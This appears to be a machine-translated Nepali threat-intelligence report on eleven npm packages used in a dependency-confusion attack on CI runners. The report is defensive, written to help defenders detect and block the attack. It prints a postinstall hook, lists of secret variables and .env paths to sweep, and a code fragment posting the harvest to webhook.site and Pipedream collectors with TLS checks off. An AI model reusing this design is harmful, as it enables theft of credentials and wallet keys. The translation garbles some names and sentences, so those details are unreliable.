TL; ड
२०२६-०६-१७ मा, एउटा एकल npm खाता प्रकाशित भयो एउटै उद्देश्य र एउटै पेलोड साझा गर्ने एघार प्याकेजहरू। ती मध्ये दश जनाले बोकेका छन् cryptodao- उपसर्ग (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); एघारौं स्कोप्ड हो @public-for-cdao/core. प्रत्येक संस्करणमा प्रकाशित भएको थियो 99.99.99 र बाइट-समान ढुवानी गर्छ recon.js त्यो चल्छ postinstall.
नामहरू नै मुख्य कुरा हुन्। तिनीहरू क्रिप्टो/DAO परियोजनाको निजी उपकरण श्रृंखलाको आन्तरिक निर्माण ब्लकहरू जस्तै पढ्छन्। कृत्रिम रूपमा उच्च संस्करणमा सार्वजनिक npm रजिस्ट्रीमा प्रकाशित, तिनीहरू निर्माणको लागि पर्खिरहेका छन्। pipeline जुन ती नामहरू समाधान गर्न कन्फिगर गरिएको छ र जुन निजी रजिस्ट्री भन्दा पहिले - वा यसको सट्टा - सार्वजनिक npm मा पुग्छ। यो हो निर्भरता भ्रम, र पेलोड ठ्याक्कै जहाँ यो अवतरण हुने अपेक्षा गर्दछ त्यहाँको लागि ट्युन गरिएको छ: CI/CD धावक.
जब postinstall आगो, recon.js होस्ट विवरणहरू सङ्कलन गर्छ, मोटामोटी रूपमा सफा गर्छ चालीस क्लाउड, CI, र क्रिप्टो-वालेट वातावरण चरहरू, कुनै पनि पढ्छ .env यसले गोप्य-वाहक रेखाहरू शब्दशः फेला पार्न र फर्वार्ड गर्न सक्ने फाइलहरू, त्यसपछि बन्डललाई दुई सङ्कलकहरूलाई पठाउँछ — webhook.site र एउटा पाइपड्रीम एन्डपोइन्ट — TLS प्रमाणपत्र प्रमाणीकरण असक्षम पारिएको। एउटा प्रतिलिपि पनि तल लेखिएको छ /tmp.
गम्भीरता: उच्चप्रभावित पारिस्थितिक प्रणाली: npm। यो लेख्ने समयमा सबै एघार प्याकेजहरू प्रत्यक्ष थिए।
आक्रमण शरीर रचना
यस संयन्त्रमा चारवटा गतिशील भागहरू छन्, र तपाईंले थाहा पाएपछि ती मध्ये कुनै पनि सूक्ष्म हुँदैन प्याकेजको नामभन्दा एक तह पछाडि हेर्नुहोस्।
१. रिजल्भर ल्युरको रूपमा संस्करण मुद्रास्फीति। प्रत्येक प्याकेजले संस्करण घोषणा गर्दछ 99.99.99। प्याकेज प्रबन्धकले माग्दा निर्भरता भ्रम काम गर्छ आन्तरिक नाम, सार्वजनिक रजिस्ट्री पनि जाँच गर्छ र उच्चतम संस्करण छान्छ फेला पार्छ। क्यारेट वा वाइल्डकार्ड दायराको लागि npm को पूर्वनिर्धारित चयन हो प्रत्येक कन्फिगर गरिएको स्रोतमा उच्चतम-सन्तोषजनक संस्करण; यदि दुबै निजी हो भने एउटै नामको लागि registry र public npm उत्तर, ठूलो संस्करण नम्बर जित्छ। A 99.99.99 परियोजनामा हुने कुनै पनि वास्तविक आन्तरिक संस्करणलाई मूलतः उछिन्छ पुग्यो, त्यसैले निजी स्रोतमा पिन नगरिएको रिजल्भरले रुचाउँछ सार्वजनिक - र यस अवस्थामा, शत्रुतापूर्ण - प्रतिलिपि। अपरेटरलाई थाहा हुनु आवश्यक छैन लक्ष्यको वास्तविक संस्करण संख्याहरू; बेतुका अधिकतम छनोट गर्नाले सधैं टाईको ग्यारेन्टी हुन्छ। आफ्नो बाटो तोड्छ।
२. स्थापना पछिको ट्रिगर। package.json स्थापनामा पेलोड तार गर्दछ जीवनचक्र:
{ "scripts": { "postinstall": "node recon.js" } } प्याकेजको आयात आवश्यक छैन। केवल यसलाई स्थापना गर्दै - जुन CI pipeline स्वतः गर्छ — चल्छ recon.js मा.
३. एउटा व्यापक गोप्य खोज। recon.js मा चरणहरूमा परिणाम एरे भेला गर्दछ:
- होस्ट सन्दर्भ: होस्टनाम, प्लेटफर्म र रिलीज, वास्तुकला, प्रयोगकर्ता नाम, काम गर्ने निर्देशिका।
- वातावरण चर: यसले लगभग चालीस नाम र रेकर्डहरूको निश्चित सूची दोहोर्याउँछ। सेट गरिएका कुनै पनि। सूचीले खुलासा गरिरहेको छ — यसले जेनेरिक CI टोकनहरू जोड्छ (CI_JOB_TOKEN का थप वस्तुहरू, CI_REGISTRY_PASSWORD का थप वस्तुहरू, GITLAB_ACCESS_TOKEN का थप वस्तुहरू) र बादल प्रमाणपत्रहरू (AWS_पहुँच_KEY_आईडी, AWS_गोप्य_पहुँच_कुञ्जी, AWS_SESSION_TOKEN का थप वस्तुहरू) रजिस्ट्री र कन्टेनर गोप्यहरू सहित (NPM_TOKEN ले, डकर_पासवर्ड, हार्बर पासवर्ड) र एक विशिष्ट क्रिप्टो-स्वाद क्लस्टर: निजी_कुञ्जी, सम्झना, बीउको_वाक्यांश, इन्फुरा_एपीआई_की, अल्केमी_एपीआई_की, ETH_RPC को बारेमा, BSC_RPC को बारेमारेकर्ड गरिएका मानहरू पहिलो ५० वर्णहरूमा काटिएका छन्।
- एनएस फाइलहरू: यसले मार्गहरूको सूची जाँच गर्छ — एनएस, ../.env, /एप/.env, /एप/ब्याकएन्ड/.env, /एप/बोट/.env, /home/gitlab-runner/.env, /रूट/.env, र .उत्पादन/विकास भेरियन्टहरू — र अवस्थित कुनै पनि फाइलको लागि, यो मिल्दो रेखाहरूमा सामग्रीहरू फिल्टर गर्दछ कुञ्जी|गोप्य|टोकन|पास|गोप्य|स्मरणात्मक र ती पङ्क्तिहरूलाई **पूर्ण रूपमा, काटिएका** रूपमा परिणामहरूमा धकेल्छ।
- बिल्ड-होस्ट सन्दर्भ: यसले पहिलो २० प्रविष्टिहरू सूचीबद्ध गर्दछ /निर्माण गर्दछ/, /home/gitlab-रनर/builds/, /var/lib/gitlab-रनर/, र /tmp/.
पथ सूची र चर सूची GitLab धावकहरू तिर भारित छन्, जसले बिन्दुहरू विकासकर्ताको सट्टा स्व-होस्ट गरिएको CI पूर्वाधारमा पेलोड पूर्ण रूपमा ल्यापटप। श्रेणी अनुसार फसल सूची समूहबद्ध गर्नाले अभिप्रेत ढुवानी स्पष्ट हुन्छ:
| श्रेणी | चरहरू / पथहरू पुगे |
|---|---|
| CI/CD पहिचान र तैनाथी | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| बादल | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| रजिस्ट्री र कन्टेनर | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| डेटा स्टोरहरू | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| क्रिप्टो / ब्लकचेन | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| सन्देश | SLACK_TOKEN, DISCORD_TOKEN |
| डिस्कमा | .env परिवार + /home/gitlab-runner/.env, /root/.env, /app/**/.env; निर्देशिका सूचीहरू /builds/, /var/lib/gitlab-runner/ |
क्रिप्टो क्लस्टर त्यो भाग हो जसले यसलाई सामान्य CI-गोप्यबाट अलग गर्छ। स्वीप: वालेट सीड वाक्यांशहरू र हस्ताक्षर कुञ्जीहरू केवल एकको वातावरणमा देखा पर्दछ ब्लकचेन परियोजना, र तिनीहरू सिधै नक्सामा क्रिप्टोडाउ-/साइन/सम्झौता वाहकहरूको नामकरण।
४. प्रमाणीकरण असक्षम पारिएको दोहोरो एक्सफिल्ट्रेसन। सङ्कलन गरिएको एरे हो क्रमबद्ध र दुई गन्तव्यहरूमा पोस्ट गरियो:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) अस्वीकार गर्नुहोस्अनधिकृत: गलत आउटबाउन्डको लागि TLS प्रमाणपत्र जाँचहरू बन्द गर्छ कलहरू। उही डेटा stdout मा छापिएको छ (त्यसैले यो CI कार्य लगहरूमा पनि अवतरण हुन्छ) र लेखिएको /tmp/.npm_recon_ .json। त्रुटिहरू चुपचाप निलिन्छन्, त्यसैले a असफल पठाउँदा स्थापना आउटपुटमा एकल भन्दा बाहिर कुनै ट्रेस छोड्दैन [पुनरावलोकन] मा स्थापित लाइन।
फाइलमा रहेको एउटा प्रमुख टिप्पणीले यसलाई "निर्भरता भ्रम" को रूपमा वर्णन गर्दछ। "रिकोनिसेन्स पेलोड।" वातावरणीय मानहरूलाई ५० वर्णमा काट्दा अवधारणाको प्रमाणको आकार। उपस्थिति-मात्र बिकनभन्दा अगाडि बढ्ने कुरा भनेको एनएस ह्यान्डलिङ: गोप्य-वाहक लाइनहरू पूर्ण रूपमा अगाडि पठाइन्छ, र गन्तव्यहरू दुई काम गर्ने, आक्रमणकारी-नियन्त्रित सङ्कलकहरू हुन्, एउटा सिङ्क होइन जुन केवल गणना हुन्छ हिट
समय रेखा
प्रकाशन ढाँचा एघार होइन, एउटै स्क्रिप्टेड पुशको हस्ताक्षर हो। स्वतन्त्र अपलोडहरू।
| समय (UTC, २०२६-०६-१७) | घटना |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 प्रकाशित |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — स्कोप्ड भेरियन्ट, ~२४ मिनेट पछि |
२९ सेकेन्डको झ्याल भित्र दशवटा प्याकेजहरू बाहिर निस्किए, लगभग प्रत्येक तीन सेकेन्डमा एउटा। स्कोप गरिएको @cdao/कोरको लागि सार्वजनिक लगभग २४ मिनेट पछि पछ्यायो - एक सेकेन्ड यदि उपभोक्ता परियोजनाले सन्दर्भ गर्छ भने, एउटै लक्ष्यको लागि नामकरण परम्परा आन्तरिक उपकरण श्रृंखलालाई नाम मात्रको नभई दायरा अन्तर्गत राखिन्छ।
सम्झौताका सूचकहरू
| प्रकार | सूचक |
|---|---|
| कलेक्टर | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| कलेक्टर | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| हुक जडान गर्नुहोस् | postinstall: node recon.js |
| फाइल छोडियो | /tmp/.npm_recon_<timestamp>.json |
| लग मार्कर | [recon] <pkg>@<ver> installed on <hostname> (CI लगहरूमा stdout) |
| व्यवहार | rejectUnauthorized: false स्थापनाको समयमा आउटबाउन्ड HTTPS मा |
| पेलोड | recon.js, सबै एघार प्याकेजहरूमा समान (एउटा साझा निर्माण) |
| संस्करण | 99.99.99 प्रत्येक प्याकेजमा |
| प्याकेजहरू | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (सबै 99.99.99) |
| प्रकाशक | aduljune / aduljune@proton.me (इमेल अप्रमाणित, लिङ्क गरिएको स्रोत भण्डार छैन) |
विशेषता र अवलोकन गरिएको व्यवहार
क्लस्टरको बारेमा सबै कुरा एक हातमा औंल्याउँछ। सबै एघार प्याकेजहरू प्रकाशित भए। npm खाता मार्फत एडुलजुन (aduljune@proton.me मा जानुहोस्, प्रमाणित नभएको ठेगाना बिना लिङ्क गरिएको स्रोत भण्डार), २५ मिनेटको अवधि भित्र, उही समयमा 99.99.99 संस्करण, ढुवानी a recon.js मा जसको सामग्री प्रत्येकमा बाइट-फर-बाइट समान छ प्याकेज (MD5 सबै एघार निकालिएका प्रतिलिपिहरूमा मिल्छ)। त्यो एउटा पेलोड हो। नामहरूको सूचीमा छाप लगाइएको, स्वतन्त्र कोड पुन: प्रयोग होइन।
नाम सूचीले लक्षित लक्ष्यलाई परिभाषित गर्दछ। क्रिप्टोडाउ-* र cdao वर्णन गर्नुहोस् क्रिप्टो/डीएओ परियोजनाको निजी मोड्युल लेआउट, र पेलोडको फसल सूची अनुमान लगाउने ऐनाहरू: सामान्य CI र क्लाउड गोप्य कुराहरूसँगै, यो विशेष गरी पुग्छ निजी_कुञ्जी, सम्झना, बीउको_वाक्यांश, र Ethereum/BSC RPC र प्रदायक कुञ्जीहरू। द एनएस खोज मार्गहरू र निर्देशिका सूचीहरू GitLab-रनर हुन् विशिष्ट। अवलोकनयोग्य प्रभाव यो हो कि कुनै पनि pipeline यी स्थापना गर्न छल गरियो नामहरूले यसको CI टोकनहरू, क्लाउड कुञ्जीहरू, र अन-डिस्कलाई अगाडि बढाउनेछन् एनएस गोप्य कुराहरू - र, को लागि एउटा ब्लकचेन परियोजना, यसको वालेट सामग्री — दुई तेस्रो-पक्ष सङ्कलकहरूलाई।
हामी खाता कसले सञ्चालन गर्छ वा उनीहरूले के गर्ने योजना बनाएका छन् भन्ने बारेमा कुनै दाबी गर्दैनौं। तथ्याङ्क। आफ्नै अडानमा रहेका तथ्यहरू: नामहरूले एक विशेष प्रकारको आन्तरिक उपकरण श्रृंखला, पेलोडले वास्तविक गोप्य मानहरू पढ्छ र प्रसारण गर्दछ, र पूर्वाधार प्रत्यक्ष थियो।
प्रभाव, प्रवृत्ति, र रक्षक मार्गदर्शन
निर्भरता भ्रम प्रभावकारी रहन्छ किनभने यसले समाधानकर्ता व्यवहारको शोषण गर्छ, a होइन कुनै पनि प्याकेजमा जोखिम। यहाँ वाहक तुच्छ छ - एघार लगभग खाली प्याकेजहरू - तर विस्फोट त्रिज्या जे भए पनि pipeline गलत तरिकाले सार्वजनिक npm मन पर्छ आन्तरिक नामको लागि। CI धावकहरू त्यसो हुनको लागि सबैभन्दा खराब ठाउँ हुन्: तिनीहरूले ठ्याक्कै टोकनहरू र एनएस यो पेलोडले पढ्ने फाइलहरू, र तिनीहरूले स्थापना गर्छन् निर्भरताहरू अन्तरक्रियात्मक रूपमा छैनन्, त्यसैले a स्थापना पछि कसैले नहेरी दौडन्छ।
यो क्लस्टर हामीले देखिरहने ढाँचामा पनि फिट हुन्छ: स्थापना-समय पेलोडहरू जुन उपस्थित हुन्छन् वास्तविक प्रमाणपत्र सङ्कलन गर्दा "अनुसन्धान" वा "जासूसी" को रूपमा। लेबल फाइलमा कोडले धावकमा के गर्छ भनेर परिवर्तन गर्दैन। दुई डिजाइन विकल्पहरू राख्छन् गतिविधि शान्त: प्रत्येक नेटवर्क र फाइल प्रणाली सञ्चालन एक मा बेरिएको छ अपवाद ह्यान्डलर जसले त्रुटिहरू खारेज गर्दछ, त्यसैले अवरुद्ध पठाइएको वा हराएको फाइल कुनै डायग्नोस्टिक आउटपुट उत्पादन गर्दैन, र छापिएको एक मात्र चीज भनेको एकल निर्दोष हो [recon] ... स्थापना गरियो सामान्य स्थापना कुराकानीमा मिसिएको रेखा। को प्रयोग वेबहुक.साइट र पाइपड्रीम पनि जानाजानी सुविधा हो - दुबै नि:शुल्क छन्, तुरुन्तै अनुरोध-क्याप्चर सेवाहरू प्रावधान गरियो, त्यसैले अपरेटरलाई कुनै सर्भरको आवश्यकता पर्दैन तिनीहरूको आफ्नै र गन्तव्यहरू इग्रेस लगहरूमा सामान्य SaaS होस्टनामहरू जस्तै देखिन्छन्।
अर्थशास्त्रले यसलाई रक्षकको ध्यानको लायक बनाउँछ, यद्यपि क्यारियर कोड तुच्छ छ। एघार नाम दर्ता गर्न कुनै खर्च लाग्दैन, पेलोड एक हो। फाइल एघार पटक प्रतिलिपि गरियो, र प्याकेज प्रबन्धकले सबै कार्यान्वयन गर्छ। एकल गलत तरिकाले कन्फिगर गरिएको pipeline यी मध्ये कुनै एक नाम उपभोग गर्ने जहाँसुकैले सम्पूर्णको लागि भुक्तानी गर्छ सञ्चालन।
रक्षकहरूको लागि ठोस कदमहरू:
- तपाईंको निजी रजिस्ट्रीमा आन्तरिक स्कोपहरू पिन गर्नुहोस्। आन्तरिक नामहरू यसरी npm कन्फिगर गर्नुहोस्
र स्कोपहरू तपाईंको रजिस्ट्री विरुद्ध मात्र समाधान हुन्छन् (स्कोप गरिएको .npmrc रजिस्ट्री म्यापिङहरू, वा स्वामित्वमा रहेका नेमस्पेसहरूको लागि सार्वजनिक npm मा कहिल्यै नपर्ने प्रोक्सी)। आफ्नो सार्वजनिक स्कोप नामहरू आरक्षित गर्नुहोस् ताकि अरू कसैले तिनीहरूलाई दर्ता गर्न नसकोस्।
- Commit लकफाइलहरू र –ignore-स्क्रिप्टहरू प्रयोग गरेर स्थापना गर्नुहोस् CI मा सम्भव भएसम्म, वा साँच्चै स्थापना स्क्रिप्टहरू आवश्यक पर्ने निर्भरताहरूको सानो सेट जाँच गर्नुहोस्। recon.js चल्न सक्दैन यदि स्थापना पछि कार्यान्वयन गरिएको छैन।
- ९९.९९.९९ (वा अन्य असाधारण उच्च) संस्करणलाई आन्तरिक देखिने नामको रूपमा लिनुहोस् रातो झण्डाको रूपमा निर्भरता समीक्षा र रजिस्ट्री अनुगमनमा।
- स्थापना-समयमा बाहिर निस्कने बारेमा अलर्ट। A स्थापना पछि जसले आउटबाउन्ड HTTPS खोल्छ जडान — विशेष गरी प्रमाणपत्र प्रमाणीकरण असक्षम पारिएको अवस्थामा — लाई webhook.site, Pipedream, वा यस्तै अनुरोध-क्याप्चर सेवाहरू नेटवर्क किनारामा ब्लक गर्नु र बिल्ड लगहरूमा फ्ल्याग गर्नु उचित हुन्छ।
- कलाकृतिहरूको खोजी गर्नुहोस्। धावकहरूको लागि जाँच गर्नुहोस् /tmp/.npm_recon_*.json र लागि [recon] ... हालसालैका CI लगहरूमा ... मार्करमा स्थापना गरिएको। यदि फेला पर्यो भने, प्रत्येक घुमाउनुहोस् त्यसको लागि खुलासा गरिएको प्रमाणपत्र pipeline — CI टोकनहरू, क्लाउड कुञ्जीहरू, रजिस्ट्री टोकनहरू, र वातावरण वा .env फाइलहरूमा उपस्थित कुनै पनि वालेट सीडहरू वा निजी कुञ्जीहरू।
सन्दर्भ
यो लेख्ने समयमा यस क्लस्टरमा कुनै बाह्य रिपोर्टिङ अवस्थित थिएन; विश्लेषण माथिको प्रकाशित प्याकेज सामग्रीहरूमा सिधै आधारित छ




